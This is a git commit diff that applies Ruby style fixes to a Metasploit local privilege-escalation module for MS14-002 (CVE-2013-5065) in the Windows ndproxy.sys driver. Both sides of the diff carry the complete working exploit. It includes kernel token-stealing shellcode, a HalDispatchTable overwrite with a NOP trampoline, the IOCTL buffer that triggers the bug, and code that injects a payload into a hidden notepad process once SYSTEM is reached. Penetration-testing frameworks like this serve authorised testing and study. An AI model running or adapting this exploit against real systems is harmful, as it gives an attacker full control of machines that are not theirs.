Apply rubocop suggestions for ms_ndproxy

bug/bundler_fix
Spencer McIntyre 2014-08-04 11:47:39 -07:00
parent 86e2377218
commit a523898909
1 changed files with 89 additions and 94 deletions

View File

@ -15,10 +15,10 @@ class Metasploit3 < Msf::Exploit::Local
include Msf::Post::Windows::Priv include Msf::Post::Windows::Priv
include Msf::Post::Windows::Process include Msf::Post::Windows::Process
def initialize(info={}) def initialize(info = {})
super(update_info(info, { super(update_info(info, {
'Name' => 'MS14-002 Microsoft Windows ndproxy.sys Local Privilege Escalation', 'Name' => 'MS14-002 Microsoft Windows ndproxy.sys Local Privilege Escalation',
'Description' => %q{ 'Description' => %q(
This module exploits a flaw in the ndproxy.sys driver on Windows XP SP3 and Windows 2003 This module exploits a flaw in the ndproxy.sys driver on Windows XP SP3 and Windows 2003
SP2 systems, exploited in the wild in November, 2013. The vulnerability exists while SP2 systems, exploited in the wild in November, 2013. The vulnerability exists while
processing an IO Control Code 0x8fff23c8 or 0x8fff23cc, where user provided input is used processing an IO Control Code 0x8fff23c8 or 0x8fff23cc, where user provided input is used
@ -26,31 +26,31 @@ class Metasploit3 < Msf::Exploit::Local
pointer dereference which is exploitable on both Windows XP and Windows 2003 systems. This pointer dereference which is exploitable on both Windows XP and Windows 2003 systems. This
module has been tested successfully on Windows XP SP3 and Windows 2003 SP2. In order to module has been tested successfully on Windows XP SP3 and Windows 2003 SP2. In order to
work the service "Routing and Remote Access" must be running on the target system. work the service "Routing and Remote Access" must be running on the target system.
}, ),
'License' => MSF_LICENSE, 'License' => MSF_LICENSE,
'Author' => 'Author' =>
[ [
'Unknown', # Vulnerability discovery 'Unknown', # Vulnerability discovery
'ryujin', # python PoC 'ryujin', # python PoC
'Shahin Ramezany', # C PoC 'Shahin Ramezany', # C PoC
'juan vazquez' # MSF module 'juan vazquez' # MSF module
], ],
'Arch' => ARCH_X86, 'Arch' => ARCH_X86,
'Platform' => 'win', 'Platform' => 'win',
'Payload' => 'Payload' =>
{ {
'Space' => 4096, 'Space' => 4096,
'DisableNops' => true 'DisableNops' => true
}, },
'SessionTypes' => [ 'meterpreter' ], 'SessionTypes' => ['meterpreter'],
'DefaultOptions' => 'DefaultOptions' =>
{ {
'EXITFUNC' => 'thread', 'EXITFUNC' => 'thread'
}, },
'Targets' => 'Targets' =>
[ [
[ 'Automatic', { } ], ['Automatic', {}],
[ 'Windows XP SP3', ['Windows XP SP3',
{ {
'HaliQuerySystemInfo' => 0x16bba, # Stable over Windows XP SP3 updates 'HaliQuerySystemInfo' => 0x16bba, # Stable over Windows XP SP3 updates
'_KPROCESS' => "\x44", # Offset to _KPROCESS from a _ETHREAD struct '_KPROCESS' => "\x44", # Offset to _KPROCESS from a _ETHREAD struct
@ -59,7 +59,7 @@ class Metasploit3 < Msf::Exploit::Local
'_APLINKS' => "\x88" # Offset to ActiveProcessLinks _EPROCESS struct '_APLINKS' => "\x88" # Offset to ActiveProcessLinks _EPROCESS struct
} }
], ],
[ 'Windows Server 2003 SP2', ['Windows Server 2003 SP2',
{ {
'HaliQuerySystemInfo' => 0x1fa1e, 'HaliQuerySystemInfo' => 0x1fa1e,
'_KPROCESS' => "\x38", '_KPROCESS' => "\x38",
@ -69,40 +69,38 @@ class Metasploit3 < Msf::Exploit::Local
} }
] ]
], ],
'References' => 'References' =>
[ [
[ 'CVE', '2013-5065' ], %w(CVE 2013-5065),
[ 'MSB', 'MS14-002' ], %w(MSB MS14-002),
[ 'OSVDB' , '100368'], %w(OSVDB 100368),
[ 'BID', '63971' ], %w(BID 63971),
[ 'EDB', '30014' ], %w(EDB 30014),
[ 'URL', 'http://labs.portcullis.co.uk/blog/cve-2013-5065-ndproxy-array-indexing-error-unpatched-vulnerability/' ], %w(URL http://labs.portcullis.co.uk/blog/cve-2013-5065-ndproxy-array-indexing-error-unpatched-vulnerability/),
[ 'URL', 'http://technet.microsoft.com/en-us/security/advisory/2914486'], %w(URL http://technet.microsoft.com/en-us/security/advisory/2914486),
[ 'URL', 'https://github.com/ShahinRamezany/Codes/blob/master/CVE-2013-5065/CVE-2013-5065.cpp' ], %w(URL https://github.com/ShahinRamezany/Codes/blob/master/CVE-2013-5065/CVE-2013-5065.cpp),
[ 'URL', 'http://www.secniu.com/blog/?p=53' ], %w(URL http://www.secniu.com/blog/?p=53),
[ 'URL', 'http://www.fireeye.com/blog/technical/cyber-exploits/2013/11/ms-windows-local-privilege-escalation-zero-day-in-the-wild.html' ], %w(URL http://www.fireeye.com/blog/technical/cyber-exploits/2013/11/ms-windows-local-privilege-escalation-zero-day-in-the-wild.html),
[ 'URL', 'http://blog.spiderlabs.com/2013/12/the-kernel-is-calling-a-zeroday-pointer-cve-2013-5065-ring-ring.html' ] %w(URL http://blog.spiderlabs.com/2013/12/the-kernel-is-calling-a-zeroday-pointer-cve-2013-5065-ring-ring.html)
], ],
'DisclosureDate'=> 'Nov 27 2013', 'DisclosureDate' => 'Nov 27 2013',
'DefaultTarget' => 0 'DefaultTarget' => 0
})) }))
end end
def ring0_shellcode(t) def ring0_shellcode(t)
restore_ptrs = "\x31\xc0" # xor eax, eax restore_ptrs = "\x31\xc0" # xor eax, eax
restore_ptrs << "\xb8" + [ @addresses["HaliQuerySystemInfo"] ].pack("L") # mov eax, offset hal!HaliQuerySystemInformation restore_ptrs << "\xb8" + [@addresses['HaliQuerySystemInfo']].pack('L') # mov eax, offset hal!HaliQuerySystemInformation
restore_ptrs << "\xa3" + [ @addresses["halDispatchTable"] + 4 ].pack("L") # mov dword ptr [nt!HalDispatchTable+0x4], eax restore_ptrs << "\xa3" + [@addresses['halDispatchTable'] + 4].pack('L') # mov dword ptr [nt!HalDispatchTable+0x4], eax
ring0_shellcode = restore_ptrs + token_stealing_shellcode(t) ring0_shellcode = restore_ptrs + token_stealing_shellcode(t)
return ring0_shellcode ring0_shellcode
end end
def fill_memory(proc, address, length, content) def fill_memory(proc, address, length, content)
session.railgun.ntdll.NtAllocateVirtualMemory(-1, [address].pack('L'), nil, [length].pack('L'), 'MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN', 'PAGE_EXECUTE_READWRITE')
result = session.railgun.ntdll.NtAllocateVirtualMemory(-1, [ address ].pack("L"), nil, [ length ].pack("L"), "MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN", "PAGE_EXECUTE_READWRITE")
unless proc.memory.writable?(address) unless proc.memory.writable?(address)
vprint_error("Failed to allocate memory") vprint_error('Failed to allocate memory')
return nil return nil
end end
@ -111,13 +109,13 @@ class Metasploit3 < Msf::Exploit::Local
result = proc.memory.write(address, content) result = proc.memory.write(address, content)
if result.nil? if result.nil?
vprint_error("Failed to write contents to memory") vprint_error('Failed to write contents to memory')
return nil return nil
else else
vprint_good("Contents successfully written to 0x#{address.to_s(16)}") vprint_good("Contents successfully written to 0x#{address.to_s(16)}")
end end
return address address
end end
def create_proc def create_proc
@ -125,14 +123,14 @@ class Metasploit3 < Msf::Exploit::Local
cmd = "#{windir}\\System32\\notepad.exe" cmd = "#{windir}\\System32\\notepad.exe"
# run hidden # run hidden
begin begin
proc = session.sys.process.execute(cmd, nil, {'Hidden' => true }) proc = session.sys.process.execute(cmd, nil, 'Hidden' => true)
rescue Rex::Post::Meterpreter::RequestError rescue Rex::Post::Meterpreter::RequestError
# when running from the Adobe Reader sandbox: # when running from the Adobe Reader sandbox:
# Exploit failed: Rex::Post::Meterpreter::RequestError stdapi_sys_process_execute: Operation failed: Access is denied. # Exploit failed: Rex::Post::Meterpreter::RequestError stdapi_sys_process_execute: Operation failed: Access is denied.
return nil return nil
end end
return proc.pid proc.pid
end end
def disclose_addresses(t) def disclose_addresses(t)
@ -140,37 +138,36 @@ class Metasploit3 < Msf::Exploit::Local
hal_dispatch_table = find_haldispatchtable hal_dispatch_table = find_haldispatchtable
return nil if hal_dispatch_table.nil? return nil if hal_dispatch_table.nil?
addresses["halDispatchTable"] = hal_dispatch_table addresses['halDispatchTable'] = hal_dispatch_table
vprint_good("HalDispatchTable found at 0x#{addresses["halDispatchTable"].to_s(16)}") vprint_good("HalDispatchTable found at 0x#{addresses['halDispatchTable'].to_s(16)}")
vprint_status("Getting the hal.dll Base Address...") vprint_status('Getting the hal.dll Base Address...')
hal_info = find_sys_base("hal.dll") hal_info = find_sys_base('hal.dll')
if hal_info.nil? if hal_info.nil?
vprint_error("Failed to disclose hal.dll Base Address") vprint_error('Failed to disclose hal.dll Base Address')
return nil return nil
end end
hal_base = hal_info[0] hal_base = hal_info[0]
vprint_good("hal.dll Base Address disclosed at 0x#{hal_base.to_s(16)}") vprint_good("hal.dll Base Address disclosed at 0x#{hal_base.to_s(16)}")
hali_query_system_information = hal_base + t['HaliQuerySystemInfo'] hali_query_system_information = hal_base + t['HaliQuerySystemInfo']
addresses["HaliQuerySystemInfo"] = hali_query_system_information addresses['HaliQuerySystemInfo'] = hali_query_system_information
vprint_good("HaliQuerySystemInfo Address disclosed at 0x#{addresses["HaliQuerySystemInfo"].to_s(16)}") vprint_good("HaliQuerySystemInfo Address disclosed at 0x#{addresses['HaliQuerySystemInfo'].to_s(16)}")
return addresses addresses
end end
def check def check
if sysinfo["Architecture"] =~ /wow64/i or sysinfo["Architecture"] =~ /x64/ if sysinfo['Architecture'] =~ /wow64/i || sysinfo['Architecture'] =~ /x64/
return Exploit::CheckCode::Detected return Exploit::CheckCode::Detected
end end
handle = open_device("\\\\.\\NDProxy", 0x0, 0x0, 0x3) handle = open_device('\\\\.\\NDProxy', 0x0, 0x0, 0x3)
if handle.nil? return Exploit::CheckCode::Safe if handle.nil?
return Exploit::CheckCode::Safe
end
session.railgun.kernel32.CloseHandle(handle) session.railgun.kernel32.CloseHandle(handle)
os = sysinfo["OS"] os = sysinfo['OS']
case os case os
when /windows xp.*service pack 3/i when /windows xp.*service pack 3/i
return Exploit::CheckCode::Appears return Exploit::CheckCode::Appears
@ -183,27 +180,26 @@ class Metasploit3 < Msf::Exploit::Local
else else
return Exploit::CheckCode::Safe return Exploit::CheckCode::Safe
end end
end end
def exploit def exploit
if sysinfo["Architecture"] =~ /wow64/i if sysinfo['Architecture'] =~ /wow64/i
fail_with(Failure::NoTarget, "Running against WOW64 is not supported") fail_with(Failure::NoTarget, 'Running against WOW64 is not supported')
elsif sysinfo["Architecture"] =~ /x64/ elsif sysinfo['Architecture'] =~ /x64/
fail_with(Failure::NoTarget, "Running against 64-bit systems is not supported") fail_with(Failure::NoTarget, 'Running against 64-bit systems is not supported')
end end
my_target = nil my_target = nil
if target.name =~ /Automatic/ if target.name =~ /Automatic/
print_status("Detecting the target system...") print_status('Detecting the target system...')
os = sysinfo["OS"] os = sysinfo['OS']
if os =~ /windows xp.*service pack 3/i if os =~ /windows xp.*service pack 3/i
my_target = targets[1] my_target = targets[1]
print_status("Running against #{my_target.name}") print_status("Running against #{my_target.name}")
elsif ((os =~ /2003/) and (os =~ /service pack 2/i)) elsif (os =~ /2003/) && (os =~ /service pack 2/i)
my_target = targets[2] my_target = targets[2]
print_status("Running against #{my_target.name}") print_status("Running against #{my_target.name}")
elsif ((os =~ /\.net server/i) and (os =~ /service pack 2/i)) elsif (os =~ /\.net server/i) && (os =~ /service pack 2/i)
my_target = targets[2] my_target = targets[2]
print_status("Running against #{my_target.name}") print_status("Running against #{my_target.name}")
end end
@ -212,96 +208,95 @@ class Metasploit3 < Msf::Exploit::Local
end end
if my_target.nil? if my_target.nil?
fail_with(Failure::NoTarget, "Remote system not detected as target, select the target manually") fail_with(Failure::NoTarget, 'Remote system not detected as target, select the target manually')
end end
print_status("Checking device...") print_status('Checking device...')
handle = open_device("\\\\.\\NDProxy", 0x0, 0x0, 0x3) handle = open_device('\\\\.\\NDProxy', 0x0, 0x0, 0x3)
if handle.nil? if handle.nil?
fail_with(Failure::NoTarget, "\\\\.\\NDProxy device not found") fail_with(Failure::NoTarget, '\\\\.\\NDProxy device not found')
else else
print_good("\\\\.\\NDProxy found!") print_good('\\\\.\\NDProxy found!')
end end
print_status("Disclosing the HalDispatchTable and hal!HaliQuerySystemInfo addresses...") print_status('Disclosing the HalDispatchTable and hal!HaliQuerySystemInfo addresses...')
@addresses = disclose_addresses(my_target) @addresses = disclose_addresses(my_target)
if @addresses.nil? if @addresses.nil?
session.railgun.kernel32.CloseHandle(handle) session.railgun.kernel32.CloseHandle(handle)
fail_with(Failure::Unknown, "Filed to disclose necessary addresses for exploitation. Aborting.") fail_with(Failure::Unknown, 'Failed to disclose necessary addresses for exploitation, aborting.')
else else
print_good("Addresses successfully disclosed.") print_good('Addresses successfully disclosed.')
end end
print_status('Storing the kernel stager in memory...')
print_status("Storing the kernel stager on memory...")
this_proc = session.sys.process.open this_proc = session.sys.process.open
kernel_shell = ring0_shellcode(my_target) kernel_shell = ring0_shellcode(my_target)
kernel_shell_address = 0x1000 kernel_shell_address = 0x1000
result = fill_memory(this_proc, kernel_shell_address, kernel_shell.length, kernel_shell) result = fill_memory(this_proc, kernel_shell_address, kernel_shell.length, kernel_shell)
if result.nil? if result.nil?
session.railgun.kernel32.CloseHandle(handle) session.railgun.kernel32.CloseHandle(handle)
fail_with(Failure::Unknown, "Error while storing the kernel stager shellcode on memory") fail_with(Failure::Unknown, 'Error while storing the kernel stager shellcode on memory')
else else
print_good("Kernel stager successfully stored at 0x#{kernel_shell_address.to_s(16)}") print_good("Kernel stager successfully stored at 0x#{kernel_shell_address.to_s(16)}")
end end
print_status("Storing the trampoline to the kernel stager on memory...") print_status('Storing the trampoline to the kernel stager on memory...')
trampoline = "\x90" * 0x38 # nops trampoline = "\x90" * 0x38 # nops
trampoline << "\x68" # push opcode trampoline << "\x68" # push opcode
trampoline << [0x1000].pack("V") # address to push trampoline << [0x1000].pack('V') # address to push
trampoline << "\xc3" # ret trampoline << "\xc3" # ret
trampoline_addr = 0x1 trampoline_addr = 0x1
result = fill_memory(this_proc, trampoline_addr, trampoline.length, trampoline) result = fill_memory(this_proc, trampoline_addr, trampoline.length, trampoline)
if result.nil? if result.nil?
session.railgun.kernel32.CloseHandle(handle) session.railgun.kernel32.CloseHandle(handle)
fail_with(Failure::Unknown, "Error while storing trampoline on memory") fail_with(Failure::Unknown, 'Error while storing trampoline on memory')
else else
print_good("Trampoline successfully stored at 0x#{trampoline_addr.to_s(16)}") print_good("Trampoline successfully stored at 0x#{trampoline_addr.to_s(16)}")
end end
print_status("Storing the IO Control buffer on memory...") print_status('Storing the IO Control buffer on memory...')
buffer = "\x00" * 1024 buffer = "\x00" * 1024
buffer[20, 4] = [0x7030125].pack("V") # In order to trigger the vulnerable call buffer[20, 4] = [0x7030125].pack('V') # In order to trigger the vulnerable call
buffer[28, 4] = [0x34].pack("V") # In order to trigger the vulnerable call buffer[28, 4] = [0x34].pack('V') # In order to trigger the vulnerable call
buffer_addr = 0x0d0d0000 buffer_addr = 0x0d0d0000
result = fill_memory(this_proc, buffer_addr, buffer.length, buffer) result = fill_memory(this_proc, buffer_addr, buffer.length, buffer)
if result.nil? if result.nil?
session.railgun.kernel32.CloseHandle(handle) session.railgun.kernel32.CloseHandle(handle)
fail_with(Failure::Unknown, "Error while storing the IO Control buffer on memory") fail_with(Failure::Unknown, 'Error while storing the IO Control buffer on memory')
else else
print_good("IO Control buffer successfully stored at 0x#{buffer_addr.to_s(16)}") print_good("IO Control buffer successfully stored at 0x#{buffer_addr.to_s(16)}")
end end
print_status("Triggering the vulnerability, corrupting the HalDispatchTable...") print_status('Triggering the vulnerability, corrupting the HalDispatchTable...')
magic_ioctl = 0x8fff23c8 magic_ioctl = 0x8fff23c8
# Values taken from the exploit in the wild, see references # Values taken from the exploit in the wild, see references
ioctl = session.railgun.ntdll.NtDeviceIoControlFile(handle, 0, 0, 0, 4, magic_ioctl, buffer_addr, buffer.length, buffer_addr, 0x80) session.railgun.ntdll.NtDeviceIoControlFile(handle, 0, 0, 0, 4, magic_ioctl, buffer_addr, buffer.length, buffer_addr, 0x80)
session.railgun.kernel32.CloseHandle(handle) session.railgun.kernel32.CloseHandle(handle)
print_status("Executing the Kernel Stager throw NtQueryIntervalProfile()...") print_status('Executing the Kernel Stager throw NtQueryIntervalProfile()...')
result = session.railgun.ntdll.NtQueryIntervalProfile(1337, 4) session.railgun.ntdll.NtQueryIntervalProfile(1337, 4)
print_status("Checking privileges after exploitation...") print_status('Checking privileges after exploitation...')
unless is_system? unless is_system?
fail_with(Failure::Unknown, "The exploitation wasn't successful") fail_with(Failure::Unknown, 'The exploitation was not successful')
end end
p = payload.encoded p = payload.encoded
print_good("Exploitation successful! Creating a new process and launching payload...") print_good('Exploitation successful! Creating a new process and launching payload...')
new_pid = create_proc new_pid = create_proc
if new_pid.nil? if new_pid.nil?
print_warning("Unable to create a new process, maybe you're into a sandbox. If the current process has been elevated try to migrate before executing a new process...") print_warning('Unable to create a new process, maybe you are in a sandbox. If the current process has been elevated try to migrate before executing a new process...')
return return
end end
print_status("Injecting #{p.length.to_s} bytes into #{new_pid} memory and executing it...") print_status("Injecting #{p.length} bytes into #{new_pid} memory and executing it...")
if execute_shellcode(p, nil, new_pid) if execute_shellcode(p, nil, new_pid)
print_good("Enjoy") print_good('Enjoy')
else else
fail_with(Failure::Unknown, "Error while executing the payload") fail_with(Failure::Unknown, 'Error while executing the payload')
end end
end end
end end